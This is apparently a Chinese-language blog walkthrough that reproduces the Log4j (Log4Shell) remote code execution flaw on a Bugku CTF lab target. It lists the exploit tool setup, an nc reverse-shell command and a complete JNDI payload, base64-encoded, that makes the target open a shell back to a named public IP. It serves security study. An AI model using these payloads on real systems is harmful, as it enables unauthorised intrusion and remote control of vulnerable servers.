Log4j RCE漏洞复现
关于Log4j
半个月前,Apache的Log4j漏洞爆出,甚至一度被认为是一个核弹级的0 day漏洞。今天来复现一下该漏洞。
Apache Log4j2 是一个基于 Java 的日志记录工具。该工具重写了 Log4j 框架,并且引入了大量丰富的特性。该日志框架被大量用于业务系统开发,用来记录日志信息。 在大多数情况下,开发者可能会将用户输入导致的错误信息写入日志中。攻击者利用此特性可通过
该漏洞构造特殊的数据请求包,最终触发远程代码执行。
靶场地址:https://ctf.bugku.com/challenges/detail/id/340.html?page=1
正文
首先完成复现需要一台公网Linux服务器
在服务器上下载需要利用的exp(首先安装git命令)
git clone <https://github.com/black9/Log4shell_JNDIExploit.git>
进入Log4shell_JNDIExploit
cd Log4shell_JNDIExploit
开启ldap和http服务
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 120.26.49.19 -p 8080
注意,此处一定在填服务器公网地址,不能写127.0.0.1,不然会找不到地址,无法反弹shell
此时,再打开一个终端,nc开启监听
构建漏洞利用EXP
nc xx.xx.xx.xx 1234 -e /bin/sh
此处端口对应nc监听的端口
将反弹命令用base64加密,站长之家base64编码
编码完成后写入EXP最后
${jndi:ldap://120.26.49.19:1389/Basic/Command/Base64/bmMgMTIwLjI2LjQ5LjE5IDEyMzQgLWUgL2Jpbi9zaA==}
在用户名处写入构造的payload,密码随便填
点击提交
就成功获得了shell
END
在结束之后,一定要将ldap和http服务关闭,不然很有可能让VPS受到别人的攻击,切记!